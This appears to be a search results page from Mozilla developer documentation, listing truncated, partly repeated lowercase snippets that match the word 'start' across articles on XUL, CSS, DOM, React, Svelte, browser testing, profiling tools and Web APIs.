starttimer(); return this;},stoptimer:function(){if(!this.timer){return false;}this.time=$time()-this.time;this.timer=$clear(this.timer);return true;},
starttimer:function(){if(this.timer){return false; }this.time=$time()-this.time;this.timer=this.step.periodical(math.round(1000/this.options.fps),this);return true;}});fx.compute=function(c,b,a){return(b-c)*a+c; };fx.durations={"short":250,normal:500,"lo...
...And 5 more matches
Multiple Rule Example - Archive of obsolete content
has a property that others do not. for instance, in an earlier example, one of the photos had a description and the other photos did not. in this case, you might wish to display the photo with a description in a different manner. this is useful if you wish to hide any content that would be needed to display the description. the next example shows how we can do this. ...
...sh to display the photo with a description in a different manner. this is useful if you wish to hide any content that would be needed to display the description. the next example shows how we can do this. ...
...ption in a different manner. this is useful if you wish to hide any content that would be needed to display the description. the next example shows how we can do this. ...
...And 5 more matches
Result Generation - Archive of obsolete content
df datasources. first, however, some background. rdf, in mathematical terms, is a labeled directed graph. that means that rdf is a graph of nodes and arrows between them where each node and arrow has some label. since it's a graph, arrows can point all over the place and nodes can have any number of arrows pointing out of them and pointing at them. and also because it is a graph, there is no real
starting point or root node so you can just
start anywhere. in the picture below, you can see that node a at the top has arcs pointing to b, c and d. similarly, c has an arc pointing to d. you could have arcs pointing elsewhere--for example, node d could have an arc pointing back to a. to navigate around, you could
start at node a and navigate around the graph following the arrows to b, c or d. or you ...
...no requirement exists to follow the arrows in the direction they point; you can easily go the other way (though in only one direction within a given series of iterations). the picture was generated from the w3c's rdf validator, a good place to go to check if your rdf is valid. ...
...you could navigate to b, c and d and generate th...
...And 5 more matches
Using the Editor from XUL - Archive of obsolete content
element, i.e. that which you get from window._content. having an id attribute, id="content-frame", allows us to find this element with document.getelementbyid("content-frame"), and to style it from css. editoronload() is called. ...
...the <editor> tag actually creates an nseditorboxobject behind the scenes. the nseditorboxobject creates an nseditorshell, and holds the owning reference to it. ...
...t lives on: editorshell.init(); editorshell.seteditortype(editortype); editorshell.webshellwindow = window; editorshell.contentwindow = window._content; the webshellwindow (a settable attribute on nsieditorshell) points to the top-level window element, from which the editorshell can get the xul document in which it is living. it needs this to poke the ui (e.g. ...
...And 5 more matches
Making sure your theme works with RTL locales - Archive of obsolete content
to left. of the languages firefox and thunderbird are shipped in, that includes arabic and hebrew, with persian available as beta, for a total population in excess of 100 million potential users. the important thing to understand about these locales, is that the entire interface is mirrored right-to-left. that means that text that had a left margin will have a right margin instead (or -moz-margin-
start), arrows that pointed right will have to point left and vice versa, and so on. a screenshot of firefox 2 in hebrew what you need to do at this stage you might ask yourself, "how would i know what language is my theme installed on? should i make a special theme for these locales?" don't despair: making a theme rtl-compatible is fairly easy! gecko 1.9.2 and later gecko 1.9.2 introduced the :-...
...to apply a rtl rule to #c; neither it nor its * parent element #b has a chromedir attribute, but its * grandparent element #a does. */ #a > #b > #c { /* normal rules */ } #a[chromedir="rtl"] > #b > #c { /* rtl rules */ } tip: sometimes, like in the back and forward arrows, you don't really need new versions of the images. instead, just use the opposite arrow when in rtl context. ...
...ack and forward arrows, you don't really need new versions of the images. instead, just use the opposite arrow when in rtl context. using
start/end rules instead of left/right rules directions are mirrored in rtl mode, so left becomes right and right becomes left. as a result, you almost never want to use left/right rules for paddings, borders, and margins. ...
...And 5 more matches
Flexbox - Learn web development
ht is available. making all columns in a multiple column layout adopt the same height even if they contain a different amount of content. as you'll see in subsequent sections, flexbox makes a lot of layout tasks much easier. let's dig in! introducing a simple example in this article we are going to get you to work through a series of exercises to help you understand how flexbox works. to get
started, you should make a local copy of the first
starter file — flexbox0.html from our github repo — load it in a modern browser (like firefox or chrome), and have a look at the code in your code editor. you can see it live here also. you'll see that we have a <header> element with a top level heading inside it, and a <section> element containing three <article>s. we are going to use these to cr...
...d it in a modern browser (like firefox or chrome), and have a look at the code in your code editor. you can see it live here also. you'll see that we have a <header> element with a top level heading inside it, and a <section> element containing three <article>s. we are going to use these to create a fairly standard three column layout. specifying what elements to lay out as flexible boxes to
start with, we need to select which elements are to be laid out as flexible boxes. to do this, we set a special value of display on the parent element of the elements you want to affect. in this case we want to lay out the <article> elements, so we set this on the <section>: section { display: flex; } this causes the <section> element to become a flex container, and its children to become flex item...
...can use a display value of inline-flex if you wish to lay out an element's children as flex items, but have that element behave like an inline element. the flex model when elements are laid out as flex items, they are laid out along two axes: the main axis is the axis running in the direction the flex items are being laid out in (e.g. as rows across the page, or columns down the page.) the
start and end of this axis are called the main
start and main end. the cross axis is the axis running perpendicular to the direction the flex items are being laid out in. the
start and end of this axis are called the cross
start and cross end. the parent element that has display: flex set on it (the <section> in our example) is called the flex container. the items being laid out as flexible boxes in...
...And 5 more matches
Manipulating documents - Learn web development
ple, img and p are siblings in the above example. text node: a node containing a text string. it is useful to familiarize yourself with this terminology before working with the dom, as a number of the code terms you'll come across make use of them. you may have also come across them if you have studied css (e.g. descendant selector, child selector). active learning: basic dom manipulation to
start learning about dom manipulation, let's begin with a practical example. take a local copy of the dom-example.html page and the image that goes along with it. add a <script></script> element just above the closing </body> tag. to manipulate an element inside the dom, you first need to select it and store a reference to it inside a variable. inside your script element, add the following line: ...
...le.html page and the image that goes along with it. add a <script></script> element just above the closing </body> tag. to manipulate an element inside the dom, you first need to select it and store a reference to it inside a variable. inside your script element, add the following line: const link = document.queryselector('a'); now we have the element reference stored in a variable, we can
start to manipulate it using properties and methods available to it (these are defined on interfaces like htmlanchorelement in the case of <a> element, its more general parent interface htmlelement, and node — which represents all nodes in a dom). first of all, let's change the text inside the link by updating the value of the node.textcontent property. add the following line below the previous one: ...
...array = document.getelementsbytagname('p'). these two work in older browsers than the modern methods like queryselector(), but are not as convenient. have a look and see what others you can find! creating and placing new nodes the above has given you a little taste of what you can do, but let's go further and look at how we can create new elements. ...
...And 5 more matches
React interactivity: Events and state - Learn web development
previous overview: client-side javascript frameworks next with our component plan worked out, it's now time to
start updating our app from a completely static ui to one that actually allows us to interact and change things. in this article we'll do this, digging into events and state along the way, and ending up with an app in which we can successfully add and delete tasks, and toggle tasks as completed. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line. objective: to learn about handling events and state in react, and use those to
start making the case study app interactive. handling events if you've only written vanilla javascript before now, you might be used to having a sep...
... the button. there are a couple of other things to note: the camel-cased nature of onclick is important — jsx will not recognize onclick (again, it is already used in javascript for a specific purpose, which is related but different — standard onclick handler properties). all browser events follow this format in jsx – on, followed by the name of the event. let's apply this to our app,
starting in the form.js component. handling form submission at the top of the form() component function, create a function named handlesubmit(). this function should prevent the default behavior of the submit event. after that, it should trigger an alert(), which can say whatever you’d like. it should end up looking something like this: function handlesubmit(e) { e.preventdefault(); alert('hel...
...ction: <form onsubmit={handlesubmit}> now if you head back to your browser and click on the "add" button, your browser will show you an alert dialog with the words "hello, world!" — or whatever you chose to write there. callback props in react applications, interactivity is rarely confined to just one component: events that happen in one component will affect other parts of the app. when we
start giving ourselves the power to make new tasks, things that happen in the <form /> component will affect the list rendered in <app />. we want our handlesubmit() function to ultimately help us create a new task, so we need a way to pass information from <form /> to <app />. we can't pass data from child to parent in the same way as we pass data from parent to child using standard props. instead, w...
...And 5 more matches
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
in this article we will add the app's final features and further componentize our app. we will learn how to deal with reactivity issues related to updating objects and arrays. to avoid common pitfalls, we'll have to dig a little deeper into svelte's reactivity system. we'll also look at solving some accessibility focus issues, and more besides. ...
...s heading. code along with us git clone the github repo (if you haven't already done it) with: git clone https://github.com/opensas/mdn-svelte-tutorial.git then to get to the current app state, run cd mdn-svelte-tutorial/05-advanced-concepts or directly download the folder's content: npx degit opensas/mdn-svelte-tutorial/05-advanced-concepts remember to run npm install && npm run dev to
start your app in development mode. repl to code along with us using the repl,
start at https://svelte.dev/repl/76cc90c43a37452e8c7f70521f88b698?version=3.23.2 working on the moreactions component now we'll tackle the check all and remove completed buttons. let's create a component that will be in charge of displaying the buttons and emitting the corresponding events. create a new file — c...
... function when a component is instantiated, svelte runs the initialization code (that is, the <script> section of the component). but at that moment, all the nodes that comprise the component are not attached to the dom, in fact, they don't even exist. ...
...And 5 more matches
Introduction to cross browser testing - Learn web development
objective: to gain an understanding of the high-level concepts involved in cross browser testing. what is cross browser testing? cross browser testing is the practice of making sure that the web sites and web apps you create work across an acceptable number of web browsers. ...
...just because your site works on your macbook pro or high-end galaxy nexus, doesn't mean it will work for all your users — there's a whole lot of testing to be done! note: make the web work for everyone provides more useful perspective on the different browsers people use, their market share, and related cross browser compatibility issues. we should explain a few bits of terminology here. to
start with, when we talk about sites "working cross browser", we are really saying that they should provide an acceptable user experience across different browsers. it is potentially ok for a site to not deliver the exact same experience on all browsers, as long as the core functionality is accessible in some way. on modern browsers you might get something animated, 3d and shiny, whereas on older brows...
...this point you'll also want to know how much time you have to develop the site — what is their deadline, and how much are they going to pay you for your work? we won't go into much detail about this, but cross-browser issues can have a serious effect on such planning. once you've got an idea of the required featureset, and what technologies you will likely build these features with, you should
start exploring the target audience — what browsers, devices, etc. will the target audience for this site be using? the client might already have data about this from previous research they've done, e.g. from other web sites they own, or from previous versions of the web site you are now working on. if not, you will be able to get a good idea by looking at other sources, such as usage stats for compe...
...And 5 more matches
Strategies for carrying out testing - Learn web development
previous overview: cross browser testing next this article
starts the module off by providing an overview of the topic of (cross) browser testing, answering questions such as "what is cross-browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?" prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high level principles of cross-browser testing. objective: to gain an understanding of the high-level concepts involved in cross-browser testing. gotta test 'em all? when doing cross-browser testing, you need to work out a list of browsers you will need to test on to
start with. there is no way you can test on ev...
...king code block and paste it into all the different pages you want to track using google analytics on your site. you could place the snippets below your closing </body> tag, or somewhere else appropriate that keeps it from getting muddled up with your application code. upload the changes to the development server, or wherever else you need your code. ...
...e the snippets below your closing </body> tag, or somewhere else appropriate that keeps it from getting muddled up with your application code. upload the changes to the development server, or wherever else you need your code. that's it! your site should now be ready to
start reporting analytics data. ...
...And 5 more matches
Command line crash course - Learn web development
ewing the command line for the first time can be a daunting experience: a blank screen and a blinking cursor, with very little obvious help available on what to do. on the surface they’re far from welcoming but there’s a lot you can do with them, and we promise that, with a bit of guidance and practise, using them will get easier! this is why we are providing this chapter — to help you get
started in this seemingly unfriendly environment. where did the terminal come from? the terminal originates from around the 1950s-60s and its original form really doesn’t resemble what we use today (for that we should be thankful). you can read a bit of the history on wikipedia’s entry for computer terminal. since then, the terminal has remained a constant feature of all operating systems — fr...
...would take you a long time. anyway, the terminal is not going away anytime soon. what does the terminal look like? below you can see some of the different flavours of programs that are available that can get you to a terminal. the next images show the command prompts available in windows — there’s a good range of options from the "cmd" program to "powershell" — which can be run from the
start menu by typing the program name. and below, you can see the macos terminal application. how do you access the terminal? many developers today are using unix-based tools (e.g. the terminal, and the tools you can access through it). many tutorials and tools that exist on the web today support (and sadly assume) unix-based systems, but not to worry — they are available on most systems. in t...
...windows, we’d strongly recommend trying to install the wsl. you could stick with the default command prompt (cmd), and many tools will work ok, but you’ll find everything easier if you have better parity with unix tools. side note: what's the difference between a command line and a terminal? generally you'll find these two terms used interchangeably. technically, a terminal is software that
starts and connects to a shell. a shell is your session and session environment (where things like the prompt and shortcuts might be customised). the command line is the literal line where you enter commands and the cursor blinks. do you have to use the terminal? although there's a great wealth of tools available from the command line, if you're using tools like visual studio code there's also a mass...
...And 5 more matches
Eclipse CDT
ools) is an open-source ide for c and c++ development with advanced code assistance (inheritance/call graph explorer, jump to definition, refactoring, autocomplete, syntax highlighting, and so on). system requirements eclipse will use a lot of memory to fully index the mozilla source tree to provide code assistance features (easily 4 gb of ram, although this will drop to just over 1 gb if you re
start after indexing is complete). therefore, it is not recommended for use if your machine only has 4 gb of ram. installing eclipse regarding llvm4eclipsecdt, do not install or select this toolchain for mozilla development. this plugin is intended mainly for managed projects but we use an unmanaged project for mozilla (since it has its own build system). using this plugin will result in parts of th...
...back here at some point. keeping the index up-to-date as the source changes from day-to-day, you'll want to update the index to keep the code assistance working well. since the compiler options used to build the source change relatively infrequently, the "build" step above doesn't need to be rerun all that often. rerun it (and then rebuild the index) once a week or so, or as necessary when you
start to notice unusual code assistance issues that aren't fixed by rebuilding the index alone. rebuilding the index itself is required much more frequently since the source changes more frequently. in principle, you can set the index to rebuild automatically by opening the workspace preferences, selecting "c/c++ > indexer", and reenabling "automatically update the index". however, you may find this t...
...e mouse slightly is eclipse bug 26873). alternately, you can jump to the definition of the symbol under the cursor by pressing f3. to do a c++ symbol search select "search > c/c++" from the menubar, or use ctrl-h and select the "c/c++" search tab. to quickly find the definition of an enum, class, method, etc. use ctrl-shift-t/cmd-shift-t. to get a list of autocomplete options in an editor tab,
start typing the name of an identifier and then type ctrl-space. unfortunately, the autocomplete list cannot (currently) be configured to appear automatically as soon as you
start typing a character that might be the
start of an identifier name. to see the callers of a method (and their callers, etc.), select the method and use the context menu to select "open call hierarchy". note that there are butt...
...And 5 more matches
InstallListener
installlisteners are notified of an addoninstall's progress. they may be registered to hear events from all addoninstalls through addinstalllistener or to a single addoninstall through addlistener. ...
... through addlistener. ...
...all install) void ondownloadfailed(in addoninstall install) void oninstall
started(in addoninstall install) void oninstallended(in addoninstall install, in addon addon) void oninstallcancelled(in addoninstall install) void oninstallfailed(in addoninstall install) void onexternalinstall(in addon install, in addon existingaddon, in boolean needsre
start) methods onnewinstall() called when a new instance of addoninstall is created, primarily so ui can display some kind of progress for all installs. void onnewinstall( in addoninstall install ) parameters install the addoninstall representing the install ondownload
started() called when downloading begins for an add-on install. only called for add-ons that need to be downloaded. ...
...And 5 more matches
Bootstrapping a new locale
we'll first navigate to the directory called "browser" by running the following commands one after the other from your command line: $ cd [ab-cd]/browser/chrome/browser to see what is contained in "browser" type $ ls and, you should see the following outpu...
... ab-cd/extensions cp -r mozilla-1.9.x/netwerk/locales/ ab-cd/netwerk cp -r mozilla-1.9.x/other-licenses/branding/firefox/locales/ ab-cd/other-licenses cp -r mozilla-1.9.x/security/manager/locales/ ab-cd/security cp -r mozilla-1.9.x/toolkit/locales/ ab-cd/toolkit getting
started change your directory to the new working directory so you are in the ~/[your working directory]/[ab-cd]/ path and can
start localizing. we'll first navigate to the directory called "browser" by running the following commands one after the other from your command line: $ cd [ab-cd]/browser/chrome/browser to see what is contained in "browser" type $ ls and, you should see the following output from your terminal: aboutcerterror.dtd pageinfo.dtd aboutdialog.dtd pageinfo.properties aboutpriva...
...d feeds shellservice.properties history sidebar migration tabbrowser.dtd openlocation.dtd tabbrowser.properties openlocation.properties as a localizer, you are responsible for localizing each of the ".dtd" and ".properties" in *all* of the sub-directories found in your ab-cd directory. ...
...And 5 more matches
DMD
launch use mach run --dmd; use --mode to choose the mode. add --debug to run under gdb. trigger there are three ways to trigger a dmd snapshot. visit about:memory and click the dmd button (depending on how old your build is, it might be labelled "save" or "analyze reports" or "dmd"). the button won't be present in non-dmd builds, and will be grayed out in dmd builds if dmd isn't enabled at
start-up. if you wish to trigger dmd dumps from within c++ or javascript code, you can use nsimemoryinfodumper.dumpmemorytotempdir. for example, from javascript code you can do the following. const cc = components.classes; let mydumper = cc["@mozilla.org/memory-info-dumper;1"] .getservice(ci.nsimemoryinfodumper); mydumper.dumpmemoryinfototempdir(identifier, anonymize, minimize); ...
.... you can do this by running: adb push $objdir/dist/bin/libdmd.so /sdcard/ second, you will need to make an executable wrapper for fennec which sets an environment variable before launching it. (if you are familiar with the recommended "--es env0" method for setting environment variables when launching fennec, note that you cannot use this method here because those are processed too late in the
startup process. if you are not familiar with that method, you can ignore this parenthetical note.) first make the executable wrapper on your host machine using the editor of your choice. name the file dmd_fennec and enter this as the contents: #!/system/bin/sh export moz_replace_malloc_lib=/sdcard/libdmd.so exec "$@" if you want to use other dmd options, you can enter additional environment variabl...
.... you will need to push this to the device and make it executable. since you cannot mark files in /sdcard/ as executable, we will use /data/local/tmp for this purpose: adb push dmd_fennec /data/local/tmp adb shell cd /data/local/tmp chmod 755 dmd_fennec the final step is to make android use the above wrapper script while launching fennec, so that the environment variable is present when fennec
starts up. assuming you have done a local build, the app identifier will be org.mozilla.fennec_$username ($username is your username on the host machine) and so we do this as shown below. if you are using a dmd-enabled try build, or build from other source, adjust the app identifier as necessary. adb shell su # you need root access for the setprop command to take effect setprop wrap.org.mozilla.fen...
...And 5 more matches
Profiling with Xperf
xperf is part of the microsoft windows performance toolkit, and has functionality similar to that of shark, oprofile, and (for some things) dtrace/instruments. for stack walking, windows vista or higher is required; i haven't tested it at all on xp. this page applies to xperf version 4.8.7701 or newer. to see your xperf version, either run 'xperf' on a command line with no arguments, or
start 'xperfview' and look at help -> about performance analyzer. (note that it's not the first version number in the about window; that's the windows version.) if you have an older version, you will experience bugs, especially around symbol loading for local builds. installation for all versions, the tools are part of the latest windows 7 sdk (sdk version 7.1). use the web installer to install at l...
...kit folder of the sdk's install location (typically program files/microsoft sdks/windows/v7.1/redist/windows performance toolkit) to actually install the windows performance toolkit tools. it might already be installed by the windows sdk. check if c:\program files\microsoft windows performance toolkit already exists. for 64-bit windows 7 or vista, you'll need to do a registry tweak and then re
start to enable stack walking: reg add "hklm\system\currentcontrolset\control\session manager\memory management" -v disablepagingexecutive -d 0x1 -t reg_dword -f symbol server setup with the latest versions of the windows performance toolkit, you can modify the symbol path directly from within the program via the trace menu. just make sure you set the symbol paths before enabling "load symbols" and ...
...bol path is edited. if you change it within the program, you'll have to close all summary tables and reopen them for it to pick up the new symbol path data. you'll have to agree to a eula for the microsoft symbols -- if you're not prompted for this, then something isn't configured right in your symbol path. ...
...And 5 more matches
nsIAppShellService
/appshellservice;1 as a service: var appshellservice = components.classes["@mozilla.org/appshell/appshellservice;1"] .getservice(components.interfaces.nsiappshellservice); method overview void closetoplevelwindow(in nsixulwindow awindow); obsolete since gecko 1.8 void createhiddenwindow(in nsiappshell aappshell); native code only! ...
...an create
startupstate(in long awindowwidth, in long awindowheight); obsolete since gecko 1.8 nsixulwindow createtoplevelwindow(in nsixulwindow aparent, in nsiuri aurl, in pruint32 achromemask, in long ainitialwidth, in long ainitialheight, in nsiappshell aappshell); nsiwebnav createwindowlessbrowser (in bool aischrome) void destroyhiddenwindow(); void doprofile
startup(in nsicmdlineservice acmdlineservice, in boolean caninteract); obsolete since gecko 1.8 void ensure1window(in nsicmdlineservice acmdlineservice); obsolete since gecko 1.8 void enterlastwindowclosingsurvivalarea(); obsolete since gecko 1.8 void exitlastwindowclosingsurvivalarea(); obsolete since gecko 1.8 void gethiddenwindowandjscontext(out nsidomwindow ahidd...
...irefox 1.5 / thunderbird 1.5 / seamonkey 1.0) close a window. void closetoplevelwindow( in nsixulwindow awindow ); parameters awindow a window. native code only!createhiddenwindow creates a hidden window. void createhiddenwindow( in nsiappshell aappshell ); parameters aappshell a widget "appshell" (event processor) to associate with the new window. ...
...And 5 more matches
nsIDownloadManager
emented by: @mozilla.org/download-manager;1. ...
...read only. activedownloads nsisimpleenumerator an enumeration of active nsidownloads. read only. cancleanup boolean whether or not there are downloads that can be cleaned up (remo...
...les are downloaded to the desktop by default. 1: files are downloaded to the system's downloads folder by default. 2: files are downloaded to the local path specified by the browser.download.dir preference. if this preference is invalid, the download directory falls back to the default. read only. constants constant value description download_not
started -1 the download has not been
started yet. download_downloading 0 the download is in the process of being downloaded. download_finished 1 download completed including any processing of the target file. download_failed 2 the download failed due to error. download_canceled 3 the user canceled the download. download_paused ...
...And 5 more matches
Mozilla
ation chrome is the set of user interface elements of the application window that are outside the window's content area. toolbars, menu bars, progress bars, and window title bars are all examples of elements that are typically part of the chrome. command line options command line options are used to specify various
startup options for mozilla applications.this page describes the commonly used options and how to use them. you can open the command line interface by pressing shift + f2. continuous integration when you push a commit to mozilla-central or a related repository, it initiates a large chain of builds and tests across multiple types of infrastructure. this doc...
...o for example, on kde is is desirable to fully employ the kde wallet manager, rather than any secondary replacements of kdewallet. creating a spell check dictionary add-on this page describes how to package a hunspell spell check dictionary as a firefox add-on, or how to update your existing add-on, so that it can be installed, uninstalled and updated without a re
start. creating javascript callbacks in components xpcom components use idl to create interfaces. these interfaces are used to manipulate the component in c++ and javascript. a common pattern used with interfaces to create a bi-directional communication between two groups of code is the observer (or listener) pattern. basically, the component defines an ob...
...way to achieve any given visual effect in a browser. so, if the effect of complex markup is being tested, put that complex markup into a page and create another page that uses simple markup to achieve the same visual effect. reftest will then compare them and verify whether they produce the same bitmap. creating sandboxed http connections
starting with gecko 1.8.1 (firefox 2), it is possible to create sandboxed http connections which don't affect the user's cookies. this article will cover the basics of doing http connections from xpcom javascript, and should easily translate to c++ xpcom. debugging debugging a project as large as mozilla can be a daunting task. fortunately, ove...
...And 5 more matches
CanvasRenderingContext2D - Web APIs
110); // door ctx.fillrect(130, 190, 40, 60); // roof ctx.beginpath(); ctx.moveto(50, 140); ctx.lineto(150, 60); ctx.lineto(250, 140); ctx.closepath(); ctx.stroke(); the resulting drawing looks like this: reference drawing rectangles there are three methods that immediately draw rectangles to the canvas. ...
... drawing text the following methods draw text. see also the textmetrics object for text properties. canvasrenderingcontext2d.filltext() draws (fills) a given text at the given (x, y) position. ...
...es meet. possible values: round, bevel, miter (default). canvasrenderingcontext2d.miterlimit miter limit ratio. default 10. canvasrenderingcontext2d.getlinedash() returns the current line dash pattern array containing an even number of non-negative numbers. canvasrenderingcontext2d.setlinedash() sets the current line dash pattern. canvasrenderingcontext2d.linedashoffset specifies where to
start a dash array on a line. text styles the following properties control how text is laid out. canvasrenderingcontext2d.font font setting. default value 10px sans-serif. canvasrenderingcontext2d.textalign text alignment setting. possible values:
start (default), end, left, right, center. canvasrenderingcontext2d.textbaseline baseline alignment setting. possible values: top, hanging, middle...
...And 5 more matches
MediaStreamConstraints.audio - Web APIs
icy enabled, the samples below need the microphone feature enabled. see security in mediadevices.getusermedia() for details and examples on how to configure this. using a boolean value in this example, we provide a simple value of true for the audio property. this tells getusermedia() that we require an audio track, but we don't care about any specifics beyond that. ...
...nabled. see security in mediadevices.getusermedia() for details and examples on how to configure this. using a boolean value in this example, we provide a simple value of true for the audio property. this tells getusermedia() that we require an audio track, but we don't care about any specifics beyond that. ...
...vices.getusermedia() for details and examples on how to configure this. using a boolean value in this example, we provide a simple value of true for the audio property. this tells getusermedia() that we require an audio track, but we don't care about any specifics beyond that. ...
...And 5 more matches
MediaStreamConstraints.video - Web APIs
ed values or ranges of values for the track's constrainable properties. if you specify constraints, a video track meeting these constraints is required. examples using a boolean value in this example, we provide a simple value of true for the video property. this tells getusermedia() that we require a video track, but we don't care about any specifics beyond that. ...
...properties. if you specify constraints, a video track meeting these constraints is required. examples using a boolean value in this example, we provide a simple value of true for the video property. this tells getusermedia() that we require a video track, but we don't care about any specifics beyond that. ...
...traints, a video track meeting these constraints is required. examples using a boolean value in this example, we provide a simple value of true for the video property. this tells getusermedia() that we require a video track, but we don't care about any specifics beyond that. ...
...And 5 more matches
PerformanceResourceTiming - Web APIs
ysis of detailed network timing data regarding the loading of an application's resources. an application can use the timing metrics to determine, for example, the length of time it takes to fetch a specific resource, such as an xmlhttprequest, <svg>, image, or script. the interface's properties create a resource loading timeline with high-resolution timestamps for network events such as redirect
start and end times, fetch
start, dns lookup
start and end times, response
start and end times, etc.. additionally, the interface extends performanceentry with other properties which provide data about the size of the fetched resource as well as the type of resource that initiated the fetch. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 1...
...xt { fill: #0095dd; pointer-events: all;} note: this feature is available in web workers. properties this interface extends the following performanceentry properties for resource performance entry types by qualifying and constraining them as follows: performanceentry.entrytyperead only returns "resource". performanceentry.nameread only returns the resources url. performanceentry.
starttimeread only returns the timestamp for the time a resource fetch
started. this value is equivalent to performanceentry.fetch
start. performanceentry.durationread only returns a timestamp that is the difference between the responseend and the
starttime properties. the interface also supports the following properties which are listed in the order in which they are recorded for the fetching of...
... performanceresourcetiming.initiatortyperead only a string representing the type of resource that initiated the performance entry, as specified in performanceresourcetiming.initiatortype. performanceresourcetiming.nexthopprotocolread only a string representing the network protocol used to fetch the resource, as identified by the alpn protocol id (rfc7301). ...
...And 5 more matches
Range - Web APIs
a range can be created by using the document.createrange() method. range objects can also be retrieved by using the getrangeat() method of the selection object or the caretrangefrompoint() method of the document object. there also is the range() constructor available. properties there are no inherited properties. ...
...thod of the selection object or the caretrangefrompoint() method of the document object. there also is the range() constructor available. properties there are no inherited properties. range.collapsed read only returns a boolean indicating whether the range's
start and end points are at the same position. range.commonancestorcontainer read only returns the deepest node that contains the
startcontainer and endcontainer nodes. range.endcontainer read only returns the node within which the range ends. ...
... a boolean indicating whether the range's
start and end points are at the same position. range.commonancestorcontainer read only returns the deepest node that contains the
startcontainer and endcontainer nodes. range.endcontainer read only returns the node within which the range ends. range.endoffset read only returns a number representing where in the endcontainer the range ends. range.
startcontainer read only returns the node within which the range
starts. range.
startoffset read only returns a number representing where in the
startcontainer the range
starts. constructor range() returns a range object with the global document as its
start and end. methods there are no inherited methods. range.set
start() sets the
start position of a range. range.setend() sets the...
...And 5 more matches
Using the Web Animations API - Web APIs
meet the web animations api the web animations api opens the browser’s animation engine to developers and manipulation by javascript. this api was designed to underlie implementations of both css animations and css transitions, and leaves the door open to future animation effects. it is one of the most performant ways to animate on the web, letting the browser make its own internal optimizations without hacks, coercion, or window.requestanimationframe(). ...
... animations api features discussed in this article are available by default in firefox 48+ and chrome 36+. safari supports web animations in its technology preview version and there is also a handy polyfill that tests for feature support and adds it where necessary. writing css animations with the web animations api one of the more familiar ways to approach learning the web animations api is to
start with something most web developers have played with before: css animations. css animations have a familiar syntax that breaks down nicely for demonstration purposes. the css version here’s a tumbling animation written in css showing alice falling down the rabbit hole that leads to wonderland (see the full code on codepen): notice that the background moves, alice spins, and her color change...
... unless told otherwise. when we want to explicitly set a key’s offset from the other keys, we can specify an offset directly in the object, separated from the declaration with a comma. in the above example, to make sure that alice’s color changes at 30% (not 50%) for the color change, we are giving it offset: 0.3. currently, there should be at least two keyframes specified (representing the
starting and ending states of the animation sequence). if your keyframe list has only one entry, element.animate() may throw a notsupportederror exception in some browsers until they are updated. so to recap, the keys are equally spaced by default unless you specify an offset on a key. handy, no? representing timing properties we’ll also need to create an object of timing properties (an animatione...
...And 5 more matches
Border-image generator - CSS: Cascading Style Sheets
entlistener('click', function(e) { this.select(); }); input.addeventlistener('change', function(e) { var value = parsefloat(e.target.value); if (isnan(value) === true) setvalue(obj.topic, obj.value); else setvalue(obj.topic, value); }); return input; }; var slidercomponent = function slidercomponent(obj, sign) { var slider = document.createelement('div'); var
startx = null; var
start_value = 0; slider.addeventlistener("click", function(e) { document.removeeventlistener("mousemove", slidermotion); setvalue(obj.topic, obj.value + obj.step * sign); }); slider.addeventlistener("mousedown", function(e) {
startx = e.clientx;
start_value = obj.value; document.body.style.cursor = "e-resize"; document.addeventlistener("mouseup", slideend...
...t.addeventlistener("mouseup", slideend); document.addeventlistener("mousemove", slidermotion); }); var slideend = function slideend(e) { document.removeeventlistener("mousemove", slidermotion); document.body.style.cursor = "auto"; slider.style.cursor = "pointer"; }; var slidermotion = function slidermotion(e) { slider.style.cursor = "e-resize"; var delta = (e.clientx -
startx) / obj.sensivity | 0; var value = delta * obj.step +
start_value; setvalue(obj.topic, value); }; return slider; }; var inputslider = function(node) { var min = parsefloat(node.getattribute('data-min')); var max = parsefloat(node.getattribute('data-max')); var step = parsefloat(node.getattribute('data-step')); var value = parsefloat(node.getattribute('data-value')); var ...
...ad", function() { borderimage.init(); }); var borderimage = (function borderimage() { var getelembyid = document.getelementbyid.bind(document); var subject; var preview; var guidelines = []; var positions = ['top', 'right', 'bottom', 'left']; var makedraggable = function makedraggable(elem) { var offsettop; var offsetleft; elem.setattribute('data-draggable', 'true'); var drag
start = function drag
start(e) { if (e.target.getattribute('data-draggable') !== 'true' || e.target !== elem || e.button !== 0) return; offsetleft = e.clientx - elem.offsetleft; offsettop = e.clienty - elem.offsettop; document.addeventlistener('mousemove', mousedrag); document.addeventlistener('mouseup', dragend); }; var dragend = function dragend(e) { if (e.button !== 0...
...And 5 more matches
Using CSS gradients - CSS: Cascading Style Sheets
) functions. gradients can be used anywhere you would use an <image>, such as in backgrounds. because gradients are dynamically generated, they can negate the need for the raster image files that traditionally were used to achieve similar effects. in addition, because gradients are generated by the browser, they look better than raster images when zoomed in, and can be resized on the fly. we'll
start by introducing linear gradients, then introduce features that are supported in all gradient types using linear gradients as the example, then move on to radial, conic and repeating gradients using linear gradients a linear gradient creates a band of colors that progress in a straight line. a basic linear gradient to create the most basic type of gradient, all you need is to specify two color...
...} .auto-spaced-linear-gradient { background: linear-gradient(red, yellow, blue, orange); } positioning color stops you don't have to leave your color stops at their default positions. to fine-tune their locations, you can give each one zero, one, or two percentage or, for radial and linear gradients, absolute length values. if you specify the location as a percentage, 0% represents the
starting point, while 100% represents the ending point; however, you can use values outside that range if necessary to get the effect you want. if you leave a location unspecified, the position of that particular color stop will be automatically calculated for you, with the first color stop being at 0% and the last color stop being at 100%, and any other color stops being half way between their adjacen...
...0px, yellow 30%, #1e90ff 50%); } sizing radial gradients unlike linear gradients, you can specify the size of radial gradients. possible values include closest-corner, closest-side, farthest-corner, and farthest-side, with farthest-corner being the default. example: closest-side for ellipses this example uses the closest-side size value, which means the size is set by the distance from the
starting point (the center) to the closest side of the enclosing box. <div class="radial-ellipse-side"></div> div { width: 240px; height: 100px; } .radial-ellipse-side { background: radial-gradient(ellipse closest-side, red, yellow 10%, #1e90ff 50%, beige); } example: farthest-corner for ellipses this example is similar to the previous one, except that its size is specified as fa...
...And 5 more matches
text-align - CSS: Cascading Style Sheets
